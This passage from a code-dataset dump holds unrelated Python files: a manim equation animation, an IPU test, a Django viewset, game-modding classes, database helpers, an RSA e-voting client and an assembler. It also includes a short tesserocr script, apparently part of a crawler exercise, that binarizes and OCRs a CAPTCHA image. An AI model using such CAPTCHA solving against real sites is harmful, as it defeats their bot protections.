\\\\sqrt{x+1}\").move_to(text[0]).shift(DOWN))\n self.play(Write(text[1]))\n self.wait(2) \n\n text.append(MathTex(\"(\\\\sqrt{x-1})^2\",\"=\",\"(2 + \\\\sqrt{x+1})^2\").move_to(text[1]).shift(DOWN))\n self.play(Write(text[2]))\n self.wait(2) \n\n text.append(MathTex(\n \"x\",\"- 1\",\" = \",\"4\" ,\"+ 4\\\\sqrt{x+1} \",\"+ x\",\"+ 1\"\n ).move_to(text[2]).shift(DOWN))\n textCopy.append(text[3].copy()) \n self.play(Write(text[3]))\n self.wait(2)\n framebox1 = SurroundingRectangle(text[3][0], buff = .1)\n framebox2 = SurroundingRectangle(text[3][5], buff = .1)\n self.play(\n Create(framebox1),Create(framebox2)\n ) \n self.wait(2)\n \n #self.remove(text[3][0])\n self.play(\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in text[3][5]]),\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in text[3][0]]),\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in framebox1]),\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in framebox2]),\n )\n framebox3 = SurroundingRectangle(text[3][1], buff = .1).set_color(ORANGE)\n framebox4 = SurroundingRectangle(text[3][3], buff = .1).set_color(ORANGE)\n framebox5 = SurroundingRectangle(text[3][6], buff = .1).set_color(ORANGE)\n #framebox5 = SurroundRect_Color(text[3][6],ORANGE)\n self.play(\n Create(framebox3),Create(framebox4),Create(framebox5)\n )\n self.wait(2)\n self.play(\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in framebox5]),\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in framebox3]),\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in framebox4]),\n )\n\n tex1=MathTex(\" - 4\").shift(5*LEFT)\n tex2=MathTex(\" - 1\").shift(4*LEFT)\n self.play(Transform(text[3][3],tex1 ),Transform(text[3][6],tex2 ))\n self.wait(2)\n\n text.append(MathTex(\"-6\",\"=\", \"4\",\"\\\\sqrt{x+1}\").move_to(textCopy[0]).shift(DOWN)) \n self.play(\n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in text[3]]),\n )\n self.add(textCopy[0])\n self.play(Write(text[4]))\n\n textCopy.append(text[4].copy())\n tex4=MathTex(\"\\\\overline{4}\").move_to(textCopy[1]).shift(1.2*LEFT,0.5*DOWN)\n self.wait(2)\n self.play(Transform(text[4][2],tex4 )) \n tex3=MathTex(\"\\\\frac{-6}{4}\").move_to(textCopy[1]).shift(2*LEFT)\n self.play( \n LaggedStart(*[FadeOutAndShift(obj, direction=DOWN) for obj in text[4][2]]),\n Transform(text[4][0],tex3 )\n )\n self.wait(2)\n self.remove(*[text[4][i] for i in range(0,len(text[4]))])\n self.wait()\n\n text.append(MathTex(\"\\\\sqrt{x+1}\",\"=\", \"-\\\\frac{3}{2}\").move_to(textCopy[1]).shift(DOWN)) \n self.add(textCopy[1])\n self.play(Write(text[5])) \n self.wait(2)\n\n tex5 =text[5];#a * (self.remove(*diffHooks))\n self.remove(*[textCopy[i] for i in range(0,len(textCopy))]) \n self.remove(*[text[i] for i in range(0,len(text))])\n\n \n text.append(MathTex(\"\\\\because \\\\sqrt{x+1}\").move_to(text[0]).shift(DOWN,2*LEFT))\n text.append(Text(\"不能是负值\").move_to(text[6]).shift(4*RIGHT))\n self.play(Write(text[6]),Write(text[7]))\n self.wait(2)\n \n text.append(MathTex(\"\\\\therefore \\\\sqrt{x-1} - \\\\sqrt{x+1} \").move_to(text[6]).shift(DOWN,RIGHT))\n text.append(Text(\"无解\").move_to(text[8]).shift( 3*RIGHT)) \n self.play(Write(text[8]),Write(text[9]))\n self.wait(2)\n # text[6]=MathTex(\"\\\\sqrt{x-1} - \\\\sqrt{x+1} 无解\" ).move_to(text[6]).shift(DOWN)\n # self.play(Write(text[6])) \n","repo_name":"fidong87/math_s1","sub_path":"s1/chap4.4/C4_Q4_2.py","file_name":"C4_Q4_2.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36731386076","text":"from matplotlib import pyplot as plt\nimport numpy as np\nimport os\nfrom skimage import data\nfrom skimage import transform\nfrom skimage.color import rgb2gray\n\n# the below function will create train/test data with images and labels\ndef load_data(data_dir):\n\tsub_dirs=[d for d in os.listdir(data_dir)\n\t\tif os.path.isdir(os.path.join(data_dir, d))]\n\n\t# labels and images\n\tlabels = []\n\timages = []\n\t\n\t# extract image files and labels\n\tfor d in sub_dirs:\n\t\tlabel_dir = os.path.join(data_dir, d)\t# extract directory\n\t\tfilenames = [os.path.join(label_dir, f)\n\t\t\tfor f in os.listdir(label_dir)\n\t\t\tif f.endswith(\".ppm\")]\n\t\n\t\t# create list of file names and labels\n\t\tfor f in filenames:\n\t\t\timages.append(data.imread(f))\n\t\t\tlabels.append(int(d))\n\n\t# return images with their labels\n\treturn labels, images\n\n\n# resizing and grayscaling\ndef prepare_image_for_network(images):\n\t# resizing the image to 28 X 28\n\timage28 = [transform.resize(image, (28, 28)) for image in images]\n\n\t# converting list type images to array type\n\timage28 = np.array(image28)\n\n\t# converting to grayscale\n\timage28 = rgb2gray(image28)\n\n\treturn image28\n","repo_name":"akshay-j/machine_learning","sub_path":"TrafficSignClassification/extract_data.py","file_name":"extract_data.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37318572730","text":"import os\nimport numpy as np\n\nfrom tensorflow.python import ipu\nfrom tensorflow.python.client import session\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ipu.ops.cross_replica_ops import cross_replica_sum\nfrom tensorflow.python.ipu.ops.replication_ops import replication_index\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.platform import test\n\n# Prerequisite for running this test on a POD system:\n#\n# Create a partition with two IPUs and two GCDs:\n# $ vipu-admin create partition part --size 2 --num-gcds 2 --cluster clust\n#\n# After that you should have two IPUs like this:\n# $ gc-info --list-devices\n# Graphcore device listing:\n#\n# -+- Id: [0], target: [Fabric], PCI Domain: [3]\n# -+- Id: [1], target: [Fabric], PCI Domain: [2]\n\n\nclass MultiReplicaDistributionTest(test_util.TensorFlowTestCase): # pylint: disable=abstract-method\n @test_util.deprecated_graph_mode_only\n def test_cross_replica_sum(self):\n rank = int(os.environ[\"OMPI_COMM_WORLD_RANK\"])\n size = int(os.environ[\"OMPI_COMM_WORLD_SIZE\"])\n\n data = np.array([2.0], dtype=np.float32)\n dataset = dataset_ops.Dataset.from_tensor_slices((data,))\n infeed = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, feed_name=\"infeed\")\n outfeed = ipu.ipu_outfeed_queue.IPUOutfeedQueue(feed_name=\"outfeed\")\n\n def my_body(acc, x):\n index = math_ops.cast(replication_index(), np.float32) + 1.0\n acc += cross_replica_sum(index)\n acc += x * x\n return acc, outfeed.enqueue(index)\n\n def my_net():\n return ipu.loops.repeat(1, my_body, infeed_queue=infeed, inputs=[0.0])\n\n with ipu.scopes.ipu_scope(\"/device:IPU:0\"):\n [result] = ipu.ipu_compiler.compile(my_net)\n\n init_op = infeed.initializer\n dequeue_op = outfeed.dequeue()\n\n with session.Session() as sess:\n config = ipu.utils.create_ipu_config()\n config = ipu.utils.select_ipus(config, indices=[rank])\n\n config = ipu.utils.set_experimental_multi_replica_distribution_options(\n config, process_count=size, process_index=rank)\n\n ipu.utils.configure_ipu_system(config)\n\n sess.run(init_op)\n res = sess.run(result)\n dequeued = sess.run(dequeue_op)\n\n self.assertEqual(dequeued, rank + 1.0)\n self.assertEqual(res, 4.0 + np.sum(range(size + 1)))\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"hephaex/tensorflow-1","sub_path":"tensorflow/compiler/plugin/poplar/tests/multi_replica_distribution_test.py","file_name":"multi_replica_distribution_test.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"22508035131","text":"#利用tesserocr识别简单图形验证码\nimport tesserocr\nfrom PIL import Image\n\nimageTarget=Image.open(r\"F:\\code\\pa\\02\\CheckCode.jpg\")\n#验证码转灰度、二值化操作\nimageTarget=imageTarget.convert(\"L\")\nthreshold=127\ntable=[]\nfor i in range(256):\n if i<threshold:\n table.append(0)\n else:\n table.append(1)\nimageTarget=imageTarget.point(table,\"1\")\n#转换结束,正常清晰的验证码不需以上代码\nresult=tesserocr.image_to_text(imageTarget)\nprint(result)","repo_name":"cxysky8/webtest","sub_path":"pa14(tesserocr).py","file_name":"pa14(tesserocr).py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4629117066","text":"#Karate\nimport random\nvidas_jugador_1 = 3\nvidas_jugador_2 = 3\nbucle = 0\n\ndef lee_teclado():\n ataque = input('Ataque j.1: alto(1), medio(2), bajo(3)')\n defensa = input ('Defensa j.1: alto(1), medio(2), bajo(3)')\n return ataque, defensa\n \nwhile True:\n bucle = bucle + 1\n ataque_jugador_1, defensa_jugador_1 = lee_teclado()\n ataque_jugador_2 = random.randint(1,3)\n defensa_jugador_2 = random.randint(1,3)\n \n #Combate\n if ataque_jugador_1 != defensa_jugador_2:\n print ('Golpe del jugador 1. Jugador 2 pierde una vida!')\n vidas_jugador_2 = vidas_jugador_2 - 1\n else:\n print ('Jugador 2 ha parado el golpe!') \n\n if ataque_jugador_2 != defensa_jugador_1:\n print ('Golpe del jugador 2. Jugador 1 pierde una vida!')\n vidas_jugador_1 = vidas_jugador_1 - 1\n else:\n print ('Jugador 1 ha parado el golpe!') \n\n if (vidas_jugador_1 == 0) and (vidas_jugador_2 == 0):\n print ('KO Doble')\n break\n \n if (vidas_jugador_1 == 0):\n print ('Jugador 1 está KO')\n break\n\n if (vidas_jugador_2 == 0): \n print ('Jugador 2 está KO')\n break\n\nprint ('Se acabó el combate!')\nprint ('Rondas: ' + str(bucle))\n","repo_name":"manuti/scripts","sub_path":"Python_003_Karate.py","file_name":"Python_003_Karate.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72409361067","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n > Author : YIN\n > Mail : jindu.yin@digitalbrain.cn\n > FileName : api_set.py\n > CreateTime : 2022/7/25 14:56\n\"\"\"\nimport logging\nfrom rest_framework import status\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ModelViewSet\nfrom projects.models import ProjectSet\nfrom projects.serializers_set import ProjectSetListSerializer\nfrom projects.serializers_set import ProjectSetDetailSerializer\nfrom projects.serializers_set import ProjectSetCreateSerializer\nfrom projects.serializers_set import ProjectSetUpdateSerializer\nfrom db_ml.common import DbPageNumberPagination\nfrom db_ml.common import MultiSerializerViewSetMixin\n\nlogger = logging.getLogger(__name__)\n\n\nclass ProjectSetViews(MultiSerializerViewSetMixin, ModelViewSet):\n serializer_action_classes = {\n 'list': ProjectSetListSerializer,\n 'retrieve': ProjectSetDetailSerializer,\n 'create': ProjectSetCreateSerializer,\n 'update': ProjectSetUpdateSerializer,\n 'partial_update': ProjectSetUpdateSerializer,\n }\n pagination_class = DbPageNumberPagination\n\n def list(self, request, *args, **kwargs):\n \"\"\"\n :param request:\n :param args:\n :param kwargs:\n :return: dict\n \"\"\"\n data = request.GET.dict()\n self.queryset = ProjectSet.objects.for_user_organization(\n request.user).order_by('-created_at')\n return super(ProjectSetViews, self).list(request, *args, **kwargs)\n\n def retrieve(self, request, *args, **kwargs):\n \"\"\"\n :param request:\n :param args:\n :param kwargs:\n :return:\n \"\"\"\n self.queryset = ProjectSet.objects.filter(pk=kwargs.get('pk'))\n return super(ProjectSetViews, self).retrieve(request, *args, **kwargs)\n\n def create(self, request, *args, **kwargs):\n data = request.POST.dict()\n if not data:\n data = request.data\n title = data.get('title')\n if not title:\n return Response(\n status=status.HTTP_400_BAD_REQUEST,\n data=dict(error='Invalid title')\n )\n\n data['created_by_id'] = request.user.id\n data['updated_by_id'] = request.user.id\n data['organization_id'] = request.user.active_organization.id\n\n serializer = self.get_serializer(data=data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return Response(\n serializer.data, status=status.HTTP_201_CREATED, headers=headers\n )\n\n def update(self, request, *args, **kwargs):\n self.queryset = ProjectSet.objects.filter(pk=kwargs.get('pk'))\n return super(ProjectSetViews, self).update(request, *args, **kwargs)\n\n def partial_update(self, request, *args, **kwargs):\n data = request.POST.dict()\n if not data:\n data = request.data\n data['updated_by_id'] = request.user.id\n self.queryset = ProjectSet.objects.filter(pk=kwargs.get('pk'))\n instance = self.get_object()\n serializer = self.get_serializer(\n instance, data=data, partial=True\n )\n serializer.is_valid(raise_exception=True)\n self.perform_update(serializer)\n return Response(serializer.data)\n\n def destroy(self, request, *args, **kwargs):\n self.queryset = ProjectSet.objects.filter(pk=kwargs.get('pk'))\n if self.queryset:\n instance = self.queryset.first()\n count = instance.project_set.count()\n if count:\n return Response(\n status=status.HTTP_400_BAD_REQUEST,\n data=dict(error=f'项目集【{instance.title}】还有{count}个关联项目')\n )\n super(ProjectSetViews, self).destroy(request, *args, **kwargs)\n return Response(status=200, data=dict(message='删除成功'))\n\n @action(methods=['GET'], detail=False)\n def project(self, request, *args, **kwargs):\n query = ProjectSet.objects.for_user_organization(request.user).values('id', 'title')\n return Response(status=status.HTTP_201_CREATED, data=list(query))\n","repo_name":"ClaytonWang/lable-studio","sub_path":"label_studio/projects/api_set.py","file_name":"api_set.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9120784760","text":"\n__all__ = [\n \"EventsIndicesData\",\n \"EventsNamesData\",\n \"BaseMSBEvent\",\n \"BaseMSBEventList\",\n]\n\nimport abc\nimport typing as tp\nfrom collections import namedtuple\n\nfrom soulstruct.utilities.text import pad_chars\nfrom soulstruct.utilities.binary import BinaryStruct, BinaryReader\n\nfrom .enums import BaseMSBEventSubtype\nfrom .msb_entry import MSBEntryEntity\nfrom .msb_entry_list import BaseMSBEntryList\n\n\nEventsIndicesData = namedtuple(\n \"EventsIndicesData\",\n [\n \"event_index\",\n \"local_event_index\",\n \"region_indices\",\n \"part_indices\",\n ],\n)\n\nEventsNamesData = namedtuple(\n \"EventsNamesData\",\n [\n \"region_names\",\n \"part_names\",\n ],\n)\n\n\nclass BaseMSBEvent(MSBEntryEntity, abc.ABC):\n \"\"\"Parent class for MSB events, which describe various things that occur in maps (often attached to Regions).\"\"\"\n\n ENTRY_SUBTYPE: BaseMSBEventSubtype = None\n EVENT_HEADER_STRUCT: BinaryStruct = None\n EVENT_BASE_DATA_STRUCT: BinaryStruct = None\n EVENT_TYPE_DATA_STRUCT: BinaryStruct = None\n NAME_ENCODING = \"\"\n\n REFERENCE_FIELDS = {\"parts\": [\"base_part_name\"], \"regions\": [\"base_region_name\"]}\n\n base_part_name: tp.Optional[str]\n base_region_name: tp.Optional[str]\n\n def __init__(self, source=None, **kwargs):\n self._event_index = None # global index\n self._local_event_index = None # local type index\n self._base_part_index = None\n self._base_part_name = None\n self._base_region_index = None\n self._base_region_name = None\n super().__init__(source=source, **kwargs)\n\n def unpack(self, msb_reader: BinaryReader):\n event_offset = msb_reader.position\n header = msb_reader.unpack_struct(self.EVENT_HEADER_STRUCT)\n if header[\"__event_type\"] != self.ENTRY_SUBTYPE:\n raise ValueError(f\"Unexpected MSB event type value {header['__event_type']} for {self.__class__.__name__}.\")\n msb_reader.seek(event_offset + header[\"__base_data_offset\"])\n base_data = msb_reader.unpack_struct(self.EVENT_BASE_DATA_STRUCT)\n name_offset = event_offset + header[\"__name_offset\"]\n self.name = msb_reader.unpack_string(offset=name_offset, encoding=self.NAME_ENCODING)\n self.set(**header)\n self.set(**base_data)\n msb_reader.seek(event_offset + header[\"__type_data_offset\"])\n self.unpack_type_data(msb_reader)\n\n @property\n def base_part_name(self):\n return self._base_part_name\n\n @base_part_name.setter\n def base_part_name(self, value: tp.Union[None, str]):\n if isinstance(value, str):\n self._base_part_name = value if value else None\n elif value is None:\n self._base_part_name = None\n else:\n raise TypeError(f\"`base_part_name` must be a string or `None`, not {value}.\")\n\n @property\n def base_region_name(self):\n return self._base_region_name\n\n @base_region_name.setter\n def base_region_name(self, value: tp.Union[None, str]):\n if isinstance(value, str):\n self._base_region_name = value if value else None\n elif value is None:\n self._base_region_name = None\n else:\n raise TypeError(f\"`base_region_name` must be a string or `None`, not {value}.\")\n\n def set_indices(self, indices: EventsIndicesData):\n self._event_index = indices.event_index\n self._local_event_index = indices.local_event_index\n self._base_part_index = indices.part_indices[self._base_part_name] if self._base_part_name else -1\n self._base_region_index = indices.region_indices[self._base_region_name] if self._base_region_name else -1\n\n def set_names(self, names: EventsNamesData):\n self._base_part_name = names.part_names[self._base_part_index] if self._base_part_index != -1 else None\n self._base_region_name = names.region_names[self._base_region_index] if self._base_region_index != -1 else None\n\n def pack(self):\n name_offset = self.EVENT_HEADER_STRUCT.size\n packed_name = pad_chars(self.get_name_to_pack(), encoding=self.NAME_ENCODING, pad_to_multiple_of=4)\n base_data_offset = name_offset + len(packed_name)\n packed_base_data = self.EVENT_BASE_DATA_STRUCT.pack(self)\n type_data_offset = base_data_offset + len(packed_base_data)\n packed_type_data = self.pack_type_data()\n packed_header = self.EVENT_HEADER_STRUCT.pack(\n __name_offset=name_offset,\n _event_index=self._event_index,\n __event_type=self.ENTRY_SUBTYPE,\n _local_event_index=self._local_event_index,\n __base_data_offset=base_data_offset,\n __type_data_offset=type_data_offset,\n )\n return packed_header + packed_name + packed_base_data + packed_type_data\n\n def unpack_type_data(self, msb_reader: BinaryReader):\n self.set(**msb_reader.unpack_struct(self.EVENT_TYPE_DATA_STRUCT, exclude_asserted=True))\n\n def pack_type_data(self):\n return self.EVENT_TYPE_DATA_STRUCT.pack(self)\n\n\nclass BaseMSBEventList(BaseMSBEntryList, abc.ABC):\n\n @abc.abstractmethod\n def set_indices(self, region_indices, part_indices):\n pass\n\n @abc.abstractmethod\n def set_names(self, region_names, part_names):\n pass\n","repo_name":"Grimrukh/soulstruct","sub_path":"soulstruct/base/maps/msb/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"37"} +{"seq_id":"20776826516","text":"from datetime import datetime\n\nfrom sqlalchemy import not_, or_\n\nfrom .. import db\n\n\nclass DatabaseMethods:\n def to_str(self):\n \"\"\"Returns the repr of this object.\"\"\"\n return f'<{type(self).__name__}\\n' + '\\n'.join(\n f'{field}: {getattr(self, field)}'\n for field in self.get_table_columns()\n ) + '\\n>'\n\n @classmethod\n def get_table_columns(cls):\n if not hasattr(cls, 'table_columns'):\n cls.table_columns = []\n for c in cls.__mro__:\n if hasattr(c, '__table__'):\n cls.table_columns += [field.name\n for field in c.__table__.columns]\n cls.table_columns = list(set(cls.table_columns))\n return cls.table_columns\n\n @classmethod\n def to_dict(cls, obj, include_fields=None, exclude_fields=None):\n \"\"\"Return the data as dictionary\"\"\"\n if include_fields is None:\n include_fields = cls.get_table_columns()\n if exclude_fields is None:\n exclude_fields = cls.exclude_fields\n return {field: getattr(obj, field)\n for field in include_fields\n if field not in exclude_fields and hasattr(obj, field)}\n\n @classmethod\n def to_list_of_dict(cls, data_list, include_fields=None,\n exclude_fields=None):\n \"\"\"Convert a list of objects to a list of dictionaries\"\"\"\n return [cls.to_dict(item, include_fields, exclude_fields)\n for item in data_list]\n\n def from_dict(self, data_dict, exclude=[]):\n \"\"\"\n Set the current object attribute from a data_dict. This method does not\n set the excluded fields mentioned in the class declaration.\n :param data_dict:\n :param exclude:\n :return:\n \"\"\"\n for field in self.get_table_columns():\n if all([field in data_dict, field not in exclude,\n field not in self.exclude_fields]):\n setattr(self, field, data_dict[field])\n\n @classmethod\n def has_all_fields(cls, data_dict, exclude_fields=[]):\n \"\"\"\n Return True if data_dict contains all the required data excluding class\n exclude_fields and exclude_fields passed to the method.\n :param data_dict:\n :param exclude_fields:\n :return:\n \"\"\"\n if exclude_fields is None:\n exclude_fields = cls.exclude_fields\n return all(\n field.name in data_dict\n for field in cls.get_table_columns()\n if field not in exclude_fields\n )\n\n @classmethod\n def get_query(cls):\n if hasattr(cls, 'is_archived'):\n return cls.query.filter(not_(cls.is_archived))\n return cls.query\n\n @classmethod\n def get_by_id(cls, id):\n \"\"\"\n Get an object by its id. Does not return archived items.\n :param id:\n :return:\n \"\"\"\n if not hasattr(cls, 'is_archived'):\n return cls.query.get(id)\n return cls.query.filter(not_(cls.is_archived), cls.id == id).first()\n\n @classmethod\n def text_search(cls, search):\n \"\"\"\n Search text fields for search term.\n :param search:\n :return:\n \"\"\"\n query = cls.query\n if hasattr(cls, 'is_archived'):\n query = query.filter(not_(cls.is_archived))\n search_or = [getattr(cls, field).ilike(f'%{search}%')\n for field in cls.text_fields]\n if search_or:\n query = query.filter(or_(*search_or))\n return query\n\n @classmethod\n def text_search_with_range(cls, search, start, end):\n query = cls.text_search(search)\n search_count = query.count()\n items_count = cls.get_query().count()\n start, end = max(start, 0), min(end, search_count)\n items = query.slice(start, end)\n return {\n 'items_count': items_count,\n 'search_count': search_count,\n 'start': start,\n 'end': end,\n 'items': items\n }\n\n @classmethod\n def can_insert(cls, data_dict):\n \"\"\"\n Return True if the data can be inserted.\n :param cls:\n :param data_dict:\n :return:\n \"\"\"\n return all(field in data_dict for field in cls.required_fields)\n\n @classmethod\n def can_update(cls, data_dict):\n \"\"\"\n Return True if the data can be updated.\n :param data_dict:\n :return:\n \"\"\"\n return any(field in data_dict for field in cls.updateable_fields)\n\n @classmethod\n def prepare_insert(cls, data_dict):\n \"\"\"\n Creates an object almost ready for insert\n :param cls:\n :param data_dict:\n :return:\n \"\"\"\n sanitized = {field: data_dict[field]\n for field in cls.required_fields + cls.optional_fields\n if field in data_dict}\n return cls(**sanitized)\n\n def prepare_update(self, data_dict):\n \"\"\"Prepares this object for a future update\"\"\"\n sanitized = {field: data_dict[field]\n for field in self.updateable_fields\n if field in data_dict}\n self.from_dict(sanitized)\n\n def insert(self):\n \"\"\"Commits insert for this item\"\"\"\n try:\n db.session.add(self)\n db.session.commit()\n except Exception as error:\n print(error)\n db.session.rollback()\n return False\n return True\n\n def delete(self):\n \"\"\"Commits delete for this item\"\"\"\n try:\n db.session.delete(self)\n db.session.commit()\n except Exception as error:\n print(error)\n db.session.rollback()\n return False\n return True\n\n @staticmethod\n def update():\n \"\"\"Commits update for one item\"\"\"\n try:\n db.session.commit()\n except Exception as e:\n db.session.rollback()\n return False\n return True\n\n @staticmethod\n def persist_changes(data_dict):\n \"\"\"\n Persists inserts, updates and deletes at one. The data should be\n sanitized before calling this method.\n :param data_dict: a dictionary with three keys 'insert', 'delete'\n :return:\n \"\"\"\n try:\n if 'insert' in data_dict:\n db.session.add_all(data_dict['insert'])\n if 'delete' in data_dict:\n for item in data_dict['delete']:\n db.session.delete(item)\n db.session.commit()\n except Exception as e:\n print(e)\n db.session.rollback()\n return False\n return True\n\n def archive(self):\n if not hasattr(self, 'is_archived') or not hasattr(self, 'dt_archive'):\n return False\n self.is_archived = True\n self.dt_archive = datetime.now()\n return self.update()\n","repo_name":"manimanis/capstone","sub_path":"app/models/databasemethods.py","file_name":"databasemethods.py","file_ext":"py","file_size_in_byte":6971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32591360245","text":"import socket\nimport time\nimport math\nimport random\nimport sympy\nimport hashlib\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Util.number import *\n\ntime.clock = time.process_time\n\nf = open('accounts.txt', 'r')\na = f.read().split('\\n')[3:]\nf.close()\n\nprint('Choose Account: ', end='')\ni = input()\nusername = a[int(i)][2:8]\npasword = a[int(i)][13:25]\n\nckey = RSA.generate(1024)\n\nconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nconn.connect(('0.0.0.0', 7777))\n\nconn.send('1'.encode())\n\ntime.sleep(0.01)\nconn.send(username.encode())\ntime.sleep(0.01)\nconn.send(pasword.encode())\nskey_e = int(conn.recv(1024).decode())\nskey_n = int(conn.recv(1024).decode())\n\nvalid_projects = conn.recv(1024).decode()\nvalid_projects = valid_projects.split('.')\nvalid_projects = [int(i) for i in valid_projects]\ns = 'Project List: '\nfor i in valid_projects:\n s += str(i)+','\nprint(s[:-1])\nprint('Choose Project: ', end='')\nproject_id = int(input())\n\nticket = str(project_id) + '00000' + str(pow(project_id, ckey.d, skey_e))\nr = 94891562356475876273\npkc = int(str(ckey.n)+str(ckey.e))\npkc_b = (pkc*(r**skey_e)) % skey_n\n\ntime.sleep(0.01)\nconn.send(ticket.encode())\ntime.sleep(0.01)\nconn.send(str(pkc_b).encode())\n\nsig_ticket = int(conn.recv(1024).decode())\noptions = conn.recv(1024).decode()\nsig_pkc_b = int(conn.recv(1024).decode())\nr_1 = sympy.mod_inverse(r, skey_n)\nsig_pkc = (sig_pkc_b * r_1) % skey_n\n\noptions = options.split('.')\noptions = [int(i) for i in options]\ns = 'Option List: '\nfor i in options:\n s += str(i)+','\nprint(s[:-1])\nprint('Choose Option: ', end='')\noption = int(input())\n\nsig_hoption = pow(int(hashlib.sha256(str(option).encode()).hexdigest(), 16), ckey.d, ckey.n)\n\nprint('Ballot Name: ', end='')\nballot = input()\nf = open(ballot, 'w')\nf.write(str(option)+'\\n')\nf.write(str(pkc)+'\\n')\nf.write(str(sig_ticket)+'\\n')\nf.write(str(sig_pkc)+'\\n')\nf.write(str(sig_hoption)+'\\n')\nf.close()\n","repo_name":"ycl-lcy/crypto_evoting","sub_path":"ballot_client.py","file_name":"ballot_client.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23431549791","text":"import os\nimport stat\nimport sys\nimport util\nimport as_expr\n\n\nclass Stmt:\n def __init__(self, lineno, expr):\n self.lineno = lineno\n self.loc = None\n self.expr = expr\n\n def __str__(self):\n return str(self.expr)\n\n def dump(self, vm):\n return str(self)\n\n def type(self):\n return type(self).__name__\n\n def exec(self, vm):\n pass\n\n def assemble(self, vm):\n pass\n\n def resolve(self, vm):\n pass\n\n\nclass LabelStmt(Stmt):\n def __init__(self, lineno, expr):\n super().__init__(lineno, expr[:-1])\n\n def assemble(self, vm):\n # For labels, we identify if it is numeric or named and register this in the right table\n # location counter is not updated as the label is not executed as an instruction, it is only a location\n # When an instruction is referring to a label (eg \"jmp start\"), the instruction will lookup the location in\n # the table. For example \"start\" has the value 10 in the named_labels table, \"jmp\" will set the\n # program counter to 10\n\n if self.expr.isdigit():\n vm.numeric_labels.add(self.expr, vm.location_counter)\n else:\n vm.named_labels.add(self.expr, vm.location_counter)\n\n\nclass ExpressionStmt(Stmt):\n def __init__(self, lineno, expr):\n super().__init__(lineno, expr)\n\n def assemble(self, vm):\n # ExpressionStmt's are typically statements like: outbuf, 512., 9f etc.\n # * outbuf: A named label, hence a symbolic name for a location\n # * 512.: Decimal value 512\n # * 9f: Numeric label 9 in forward direction relative current pc\n # * 'x or '/n: Character constant, one byte stored in memory location, null-padded if needed\n #\n # This type of Statement occupies memory, 2 bytes - hence the location counter is updated by 2\n # Examples are:\n # \"jsr r5 fcreat; a.tmp1\"\n # a.tmp1 is the ExpressionStmt, which is a label (symbolic name for a location, for example 100)\n # When jsr is executed, r5 will have the value of a.tmp1 (100). The label can be constructed like this:\n # \"a.tmp1: </tmp/atm1a\\0>\" - a string of 11 bytes starting at location 100. Thus, a statement following \"jsr\"\n # like \"mov(r5)+,r4\", will read the value at location 100 (ie the ordinal value of \"/\", 1 byte - 47) will be\n # moved to r4. The location of a label is stored in named_labels or numeric_labels, not written to memory\n #\n # \"sys write; outbuf; 512.\"\n # The ExpressionStmt's are \"outbuf\" and \"512.\". The implementation of the system call \"write\" will use these\n # as parameter. outbuf is a label, thus a name for a location (eg 200). 512. is a decimal constant.\n # If current value of location counter is 10, then \"sys write\" will be on this location, \"outbuf\" on\n # location 12, with the value 200 stored in named_lables (not emory), and \"512.\" on location 14 with value\n # \"512\" written in memory.\n #\n # \"sys\tindir; 9f\"\n # \t\".data\"\n # \"9: sys\twrite; 0:0; 1:0\"\n # We are making an indirect system call to \"write\" (located in the data-segment, instead\n # of text-segment) and is referring to this by the forward numeric label \"9f\". We look up the label \"9\" in\n # numeric_labels and choose the one closest to the current value of pc in forward direction. Before that an\n # instruction like \"mov r4, 0f\" and \"move r0, 1f\" has been executed. The first instruction will move the\n # location of the string to write to the file, the second is the number of characters to write.\n # We look up the locations of \"9f\", \"0f\" and \"1f\" labels in numeric_labels table and for \"0\" and \"1\" update\n # the memory locations with the values in r4 and r0 respectively.\n #\n\n self.loc = vm.location_counter\n\n expr = self.expr.get(vm)\n\n if expr.isdigit(): # octal number\n expr = int(expr.replace(\"8\", \"10\").replace(\"9\", \"11\"), 8)\n elif expr[:-1].isdigit() and expr[-1] == \".\": # Decimal number\n expr = int(expr[:-1])\n elif expr[0] == '-' and expr[1:-1].isdigit() and expr[-1] == \".\":\n expr = int(expr[:-1])\n\n if isinstance(expr, int):\n vm.mem.write(self.loc, expr)\n\n elif isinstance(expr, str):\n if len(expr) >= 2 and expr[0] == 